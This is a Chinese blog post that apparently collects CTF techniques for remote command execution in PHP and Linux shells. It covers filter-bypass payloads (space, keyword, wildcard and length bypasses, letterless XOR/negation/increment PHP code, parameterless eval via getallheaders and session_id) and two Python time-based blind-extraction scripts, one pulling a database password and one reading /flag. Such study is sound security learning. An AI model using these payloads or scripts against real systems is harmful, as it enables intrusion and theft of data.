RCE再次整理
本文最后更新于 2 天前,其中的信息可能已经有所发展或是发生改变。

会一直完善的,遇到新的姿势会继续整理的,这边直接就先上绕过了,有些简单的绕过我就没有写进去了

绕过!

类似于str_replace()('flag','')的过滤我们可以使用双写绕过。flflagag把中间的flag替换为空之后还是flag

过滤空格

< 、<>、%09(tab)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag}

$9是当前系统shell进程的第九个参数的持有者,即始终为空字符串

一些编码绕过或者在编码后再{}中也可以通过{,}绕过空格

绕过分号

过滤了分号的时候可以通过?>闭合,从而让我们进行命令执行,也可以使用include包含,并且不用双引号就可以

敏感字符绕过

利用编码绕过敏感字符

其中对于$_SERVER['QUERY_STRING'],它验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过

base64编码绕过

base64 [选项] [文件]
使用base64编码进行标准输入/输出
-d --decode解码数据
-w --wrap=字符数 在指定的字符数后自动换行,默认是76.0为禁用自动换行

利用是要注意管道符

echo “xxxxxxxxxx”|base64 -d |bash

Hex编码绕过

在Linux命令中利用xxd命令,可以将指定文件或标准输出以十六进制存着,也可以把十六进制转换成原来的二进制形式

参数介绍
-r 逆向转换,将十六进制字符串表示转为实际的数
-p 表示打印,显示
也可以使用$()形式内联执行

拼接绕过

a=s;b=un;$a$b

也可以利用.进行拼接

(sy.(st).em)

引号绕过关键字的过滤

ca""t  =>  cat

通配符绕过

通配符

?:只匹配单个字符

*:自动匹配后续(或者说是匹配一次或多次)

题目:
<?php
if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
      system($c);
  }
}else{
  highlight_file(__FILE__);
}

解题思路:
方法一:
  实际上是将单引号的绕过这类的限制了,但我们还可以用之前的那些来绕过
  使用mv函数,先将文件复制为.txt,然后直接访问复制文件即可
  payload:?c=mv${IFS}fl?g.php${IFS}1.txt
 
方法二:
  正则加入了.*尽可能多匹配,flag绕过方式就不可以了,但是可以用?代替,nl也被匹配了

比如说cat,.*当出现cat这个整体时才会进行匹配,会尽可能匹配较多字符,ca,c之类的字符不会进行匹配,tac为什么不能用t??,是因为还有一个跟它一样长度的命令top,利用/bin/目录下的命令可以实现
payload:

?c=/bin/c??${IFS}????????
?c=/bin/c??$IFS????????
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

解题思路:
/bin目录下存放了大部分可执行的命令
其中有一个命令为base64,相信大家也很熟悉,在linux里面就是将打印输出的字符转化为base64编码.为什么用base64这个命令,是为了让我们的?有更好的指向性说到这里其实大家应该也都差不多了解了我们构造
?c=/???/????64 ????.???

前三个问号是/bin,然后base64 最后那一串问号就是遍历寻找flag.php
得到flag

反斜杠绕过

反斜杠在正则匹配中,表示和后面跟的字符是正常字符,不需要转义

和引号绕过的用法其实一样

ca\t

也可以使用[]进行绕过

c[a]t
ph[p]

PHP短标签

<?php ?>是php的标签,但有时候会过滤掉php,所以我们就利用到短标签

<? ?> //相当于<?PHP ?>
<?= ?> //相当于<?PHP echo ... ?>

注:对于php短标签的使用,对php的版本是有要求的

PHP5.4及以前短标签是不总启用的,其启用与配置文件相关,short_open_tag选项

在php5.4版本以后,短标签是默认开启的,无需修改配置文件即可使用

/dev/null 2>&1(黑洞绕过)

此作用为:执行某个命令但又不希望在屏幕上显示输出结果,可以将输出重定向到 /dev/null,无论是标准输出还是错误输出(不回显)

使用管道符截断绕过

||或者;

/dev :

在操作系统、驱动程序开发或硬件编程等领域,“dev” 也可以指代 “device”。例如,在 Linux 系统中,“/dev” 目录是一个特殊的目录,用于存放设备文件

输出重定向

输出重定向的写法是 fd>file 或 fd>>file,> 代表覆盖,>> 代表追加

⽤于将命令的标准输出重定向到指定的⽂件,如果⽂件不存在,则会创建⽂件;如果⽂件已经存在,则

会覆盖⽂件内容

长度限制绕过

七位

<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

1>a或者w>b分别可以创建a和b两个空文件夹

ls>c会将目录下面的文件名写入到c文件中;ls -t>0会将文件名按照创建的时间倒叙写入0文件中。并且自动换行

\作为转义符,转义之后的”是用来换行分隔,也就是换行也是连接的

ca\
t
就代表是cat

利用ls -t和>以及换行符绕过长度限制执行命令

\是指换行 ls -t将文件按时间排序输出 sh命令可以从一个文件中读取命令来执行

所以可以这样构造

假设我产要写入<?php echo phpinfo();

echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php

w>hp
w>1.p\\
w>d\>\\
w>\-\\
w>e64\\
w>bas\\
w>=\|\\
w>w=\\
w>gpO\\
w>mby\\
w>aW5\\
w>Ghw\\
w>Agc\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\

ls -t>0

sh 0

五位

<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) {
system($command);
} else {
print("你小子干什么呢?");
}
?com=nl /*
也可以利用重定向,如果无回显的话
?com=ls >a

利用重定向

>ls\\
ls>a
>\ \\
>-t\\
>\>0

ls>>a0

四位

>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0

cat 0

临时文件绕过和/bin执行

题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

解题思路:过滤了分号,字母,数字等等符号
本题没有过滤符号.(点),因此可以想到linux中该符号.(点)的用法,与source命令用法相同:linxu中source命令和.(点)
总体分析后,可以post上传一个php文件,内容为所需执行的linux指令,然后使用glob通配符和.(点)来将其中的内容以linux指令的形式来进行执行。

第一种方法就是经典做法:

这是一个上传文件的模版 向指定url的服务器上传文件 然后服务器会自动将上传的文件放置指定目录 在linux里面临时存放文件的目录可能会被定时删除 这个目录是/tmp,然后一般网页文件会命名为php???,后面是随机的字母,即:/tmp/phpXXXXXX 所以我们需要规定一个范围[@-[],从@-[就是26个字母大写的 php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了

构造一个 post 请求并上传文件。由于没有过滤 “ . ”(点),所以通过执行文件中的 Linux 命令获取 flag。 Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://98440fe8-a273-4022-aca2-46ade8e36e24.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后要上传的文件内容

#!/bin/sh
ls

抓包过程中构造:

?c=.%20/???/???[@-[]

为什么要构造这个呢?解释一下

.又叫period,他的作用和source一样,就是用当前的shell执行一个文件中的命令,比如运行的shell是bash,那么. file的意思就是用bash来执行file文件中的命令

同时不需要文件有x权限,只要我们能上传我们可控的文件就可以,就是所做的,发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹中,默认的文件名就是tem/phpXXXXXX,文件后六个字符是随机的大小写字母

但是只要PHP生成的临时文件含有大写字母,那么我们看ascii表,就可以看到大写字母位于@[之间,所以可以用[@-[]表示大写字母

要多试几次,因为不一定生成的临时文件最后一个是大写字母

第二种方法:

使用八进制,在linu系统中

比如$'\154\163'就会执行ls

解释一下:

首先,$ 符号在命令行中通常用来表示命令提示符,表示后续的内容是要在命令行中执行的,%27 是对单引号字符'的 URL 编码表示。URL 编码是一种将特殊字符转换成百分号%后跟两位十六进制数的表示方式。在这个例子中,%27 表示字符'

然后,\143\141\164 是对字符串 cat 的八进制编码表示。在八进制编码中,\ 后面跟着三个数字表示一个字符的八进制 ASCII 值。在这个例子中,\143 表示字符 c\141 表示字符 a\164 表示字符 t

第三种方法:

使用/usr/bin/bzip2对文件进行压缩,即?c=/???/???/????2 ????.???最后访问/flag.php.bz2即可

也可以用/bin/base64去读取

glob遍历文件名

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

闭合,说白了就是调用php原生类去遍历文件目录

内敛执行

括号被过滤了可用

cat$IFS$9`ls`

cat$IFS$9$(ls)
等价
将``或$()内命令的输出作为输入执行

FFI

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
exit();

无字母数字RCE

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

主要就是利用两种方法进行绕过

异或和取反

异或

PHP中就是利用,两个字符串执行异或操作后,得到一个新的字符串,异或得到我们想要的字母即可,一般是使用特殊符号

脚本后面会写上的,自己不想就贴个别人的脚本,会自己研究去写个全的的

取反

位运算中的取反,就是利用UTF-8编码的某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

echo ~('瞰'{1});    // a
echo ~('和'{2}); // s
echo ~('和'{2}); // s
echo ~('的'{1}); // e
echo ~('半'{1}); // r
echo ~('始'{2}); // t

脚本也是一样后面会供上自己的

URL编码取反绕过

即先取反在编码

Liunx的bash变量绕过

构造nl flag.php
payload:${PATH:14:1}${PATH:5:1}

过滤了数字

过滤了数字时:payload:${PATH:~A}${PWD:~A} ????.???

可自行去kali里测试

${HOME}默认是/root

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

${PWD::${#SHLVL}} 就等同于斜杠 /,${#RANDOM} 的值可能是 4 或者 5

就是利用${PATH},${HOME},${SHLVL}等去构造像是/bin/base64这样的

SHLVL 被过滤掉,可以使用 ${##} 或者 ${#?} 代替

echo ${#?}  //1

$?
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

自增绕过

这个原来一直没搞懂

首先在php文档中,有一个关于php自增的小特性

就是'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符

那么要拿到怎么才能拿到一个变量呢

数组(Array)既有A又有a,也就等于我们可以拿到a-z和A-Z

在php中强制连接数组和字符串,数组就会被转成字符串,取字符串的第一个字母,就是A

像是这种

!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)

取反和异或都被禁了,但是[]+$没过滤完全,就可以去考虑自增绕过

php弱语言,其中单个_或多个下划线也可作为变量名

<?php
$_='S';
$_++;
echo($_);
//"T"

也可用不可见字符替换变量名称

也就是数字转为字符串后是Array,我们可以利用切片取A,然后就可以自增获得A-Z

在查找资料的时候,看到有1/_=INF,可以构造NAN

解释一下,在php中_并不是一个预定义的长了或特殊符号,这里如果把_看作数字变量,假设_的值是0,那么执行1/_结果就会是INF,表示无穷大

_/_同理,就会变成0/0,返回的是NAN

这样获得N,离O就很近了,可以去构造POST

<?php
//获取N
$_=(_/_)._;
$_=$_[_];
//自增到O并储存O
$__=++$_;
//自增到P并储存PO
$__=++$_.$__;
//获取_POST
$_++;$_++;
var_dump($_=$__.++$_.++$_);
//得到$_POST[_]($_POST[__])
//$$_[_]($$_[__]);

一步步看懂就可以了
?shell=$_=(_/_)._;$_=$_[_];$__=++$_;$__=++$_.$__;$_++;$_++;$_=_.$__.++$_.++$_;$$_[_]($$_[__]);
url编码记得对加号进行编码,不然会被当做空格
?shell=%24_%3D(_%2F_)._%3B%24_%3D%24_%5B_%5D%3B%24__%3D%2B%2B%24_%3B%24__%3D%2B%2B%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

当然可以构造的还有好多,也可以去构造GET

有数字无字母情况
?cmd=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[6]($$_[9]);
//长度118 $_GET[6]($_GET[9])
url编码:
?cmd=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B&6=system&9=ls
无数字字母
?cmd=$_=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);
//$_GET[_]($_GET[__]), 以便get传参, 参数名为_和__, 传参:?_=system&__=ls
url编码:
?cmd=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%2C'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B%20&_=system&__=ls

Liunx下的

用于构造八进制

'$(())',  # 0 
'$((~$(($((~$(())))$((~$(())))))))', # 1
'$((~$(($((~$(())))$((~$(())))$((~$(())))))))', # 2
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 3
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 4
'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 5 '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 6 '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 7

过滤了_

异或和取反仍然可以使用,也没用到_

$被过滤

看到P牛的文章

PHP7之前是不允许使用($a)();这样的方法执行动态函数的,之后就可以使用了

其中第一个括号可以是任意的PHP表达式

('phpinfo')();
(~%8F%97%8F%96%91%99%90)();
url编码后的

无回显RCE

反弹shell

参考我原来的文章

数据外带

用dns或者自己的服务器就可以

盲注

import requests
import string
import time

# 目标URL(示例:一个存在时间盲注的Web接口)
target_url = "http://example.com/vulnerable.php?id=1' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1)='{char}',SLEEP(2),0)-- -"

# 可用的字符集(可根据实际情况调整)
charset = string.ascii_letters + string.digits + "{}_@#$%^&*()" # 字母、数字、常见符号

# 存储爆破结果
result = ""

# 最大尝试长度(防止无限循环)
max_length = 50

# 请求超时设置(要大于SLEEP时间)
timeout = 3

# 代理设置(可选,用于调试Burp Suite)
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}

for i in range(1, max_length + 1):
found_char = False # 标记是否找到当前字符

for char in charset:
# 构造Payload(替换 {pos} 和 {char})
payload = target_url.format(pos=i, char=char)

try:
start_time = time.time()

# 发送请求(可取消代理注释)
response = requests.get(
payload,
timeout=timeout,
# proxies=proxies # 如果需要Burp Suite抓包,取消注释
)

end_time = time.time()
elapsed_time = end_time - start_time

# 如果响应时间明显较长,说明字符匹配
if elapsed_time >= 2: # 2秒是SLEEP的延迟
result += char
found_char = True
print(f"[+] Found: {result}")
break

except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
continue

# 如果当前字符没找到,可能已到末尾
if not found_char:
print("[!] No more characters found.")
break

print(f"\n[+] Final result: {result}")
#author:0raN9e

import requests
import string
import time

url = 'http://127.0.0.1/1.php?c='
dic = string.printable[:-6]
flag = ''

for i in range(1, 50):
judge = 0
for j in dic:
now = f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi'
start = time.time()
r = requests.get(now)
end = time.time()
if int(end) - int(start) > 1:
judge = 1
flag += j
print(flag)
break
if judge == 0:
break

print(flag)

无参数RCE

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['cmd'])) {    
eval($_GET['cmd']);
}

这样我们就没法使用参数了,但是可以调用函数

全局变量

PHP 超级全局变量列表:

$GLOBALS

$_SERVER

$_REQUEST

$_POST

$_GET

$_FILES

$_ENV

$_COOKIE

$_SESSION

getenv()

getenv — 获取单个或者全部环境变量

参数name

getenv(name)可以利用此函数获取一个名为name环境变量的值

<?php
$ip = getenv(phpinfo());
var_dump($ip);
//phpinfo() 获取全部的环境变量

PATH也可以

session_id

就是从Cookie下手

利用http headers传参,容易想到cookie传递参数,其中session_id()函数,可以用来获取或配置当前会话的ID,并且值我们是可控的,文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 – 减号 ,我们可以使用十六进制传入,之后使用hex2bin()函数转换即可。但是使用session_id的时候必须要开启session才可以,需要session_start

?code=eval(hex2bin(session_id(session_start())));

然后在cookie中传入PHPSESSID

至于PHPSESSID是什么不用解释了吧

PHPSESSID=phpinfo()%2b

getallheaders()

getallheaders — 获取全部 HTTP 请求 header

也就是返回当前请求的所有请求头信息

但是注意这个函数是在Apache环境下才能使用的

<?php
var_dump(getallheaders());
?>
//array(16) { 'Content-Length' => string(1) "0" 'Cookie' => string(819) "Phpstorm-63ee4202=753fefce-8eea-4446-b084-751a89f79651; sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%22195ae365fb226e-08f83440e53dbc-26011d51-1821369-195ae365fb3e8b%22%2C%22first_id%22%3A%22%22%2C%22props%22%3A%7B%22%24latest_traffic_source_type%22%3A%22url%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%2C%22%24latest_search_keyword%22%3A%22url%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%2C%22%24latest_referrer%22%3A%22url%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%7D%2C%22i"... 'Accept-Language' => string(14) "zh-CN,zh;q=0.9" 'Accept-Encoding' => string(23) "gzip, deflate, br, zstd" 'Sec-Fetch-Dest' => string(8) "document" 'Sec-Fetch-User' => string(2) "?1" 'Sec-Fetch-Mode' => string(8) "navigate" 'Sec-Fetch-Site' => string(4) "none" 'Accept' => string(135) "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" 'User-Agent' => string(111) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 'Upgrade-Insecure-Requests' => string(1) "1" 'Sec-Ch-Ua-Platform' => string(9) ""Windows"" 'Sec-Ch-Ua-Mobile' => string(2) "?0" 'Sec-Ch-Ua' => string(64) ""Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"" 'Host' => string(15) "localhost:63342" 'Content-Type' => string(0) "" }

这样就可以利用这个函数,让我们在头部写入恶意代码

正好拿tgctf的题目来当示例:

 <?php


$cmd=$_GET['cmd'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $cmd)){
eval($cmd);
}
else{
die('hacker!!!');
}

highlight_file(__FILE__);
?cmd=var_dump(getallheaders);
?cmd=eval(reset(getallheaders()));
然后请求头里选第一个就可以实现命令执行了,但是要注意服务器可能自身存在迭代逻辑与往常不同

发现会有两个eval,我的理解是,如果只有一个就只会执行reset(getallheaders());,获得其返回值但是没有执行其返回值,这样在获取返回值后能再此执行

结合数组操作的函数使用
end() - 将内部指针指向数组中的最后一个元素,并输出
next() - 将内部指针指向数组中的下一个元素,并输出
prev() - 将内部指针指向数组中的上一个元素,并输出
reset() - 将内部指针指向数组中的第一个元素,并输出
each() - 返回当前元素的键名和键值,并将内部指针向前移动
current() -输出数组中的当前元素的值

其中要注意,有时候使用getallheaders()时,服务器本身可能对头信息有自己的迭代逻辑,不会按照返回的数组逻辑进行遍历的,这点要注意,所以就需要自行测试,同时服务器还可能存在对请求头信息数量有限制,比如有些限制数量就是八,一旦超过八个就会什么都不回显,这个我亲自测试过,当时给ai都问烂了都没用,还得是自己测试

get_defined_vars()

get_defined_vars():返回由所有已定义变量所组成的数组

此函数返回多维数组。包含调用 get_defined_vars() 作用域内所有已定义的变量、环境变量、服务器变量、用户定义变量列表

此函数没有参数,返回值是所有变量的多维数组

<?php

print_r(array_keys(get_defined_vars()));

?>

*Array
(
[0] => _GET
[1] => _POST
[2] => _COOKIE
[3] => _FILES
[4] => argv
[5] => argc
[6] => _ENV
[7] => _REQUEST
[8] => _SERVER
)*

他可以返回超级全局变量数组,利用这些我们就可以构造恶意代码

?cmd=var_dump(get_definded_vars());&sun=phpinfo();
?cmd=eval(current(get_definded_vars()));&sun=phpindo();

根据过滤甄别就可以了,POST和Cookie同理

scandir()

结合其他函数一起使用

scandir()  //函数返回指定目录中的文件和目录的数组。
localeconv() //返回一包含本地数字及货币格式信息的数组。
current() //返回数组中的单元,默认取第一个值。
pos是current的别名
getcwd() //取得当前工作目录
dirname() //函数返回路径中的目录部分。
array_flip() //交换数组中的键和值,成功时返回交换后的数组
array_rand() //从数组中随机取出一个或多个单元
//array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
//dirname(chdir(dirname()))配合切换文件路径
//current(localeconv())表示.

使用方法:

print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); //查看和读取根目录文件
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); //查看和读取根目录文件

其他

目录操作:

  • getchwd() :函数返回当前工作目录
  • scandir() :函数返回指定目录中的文件和目录的数组
  • dirname() :函数返回路径中的目录部分
  • chdir() :函数改变当前的目录
import requests
import string
import time
url = 'http://127.0.0.1/1.php?c='
dic = string.printable[:-6]
flag = ''
for i in range(1, 50):
judge = 0
for j in dic:
now = f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j}
];then sleep 2;fi'
start = time.time()
r = requests.get(now)
end = time.time()
if int(end) - int(start) > 1:
judge = 1
flag += j
print(flag)
break
if judge == 0:
break
print(flag)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇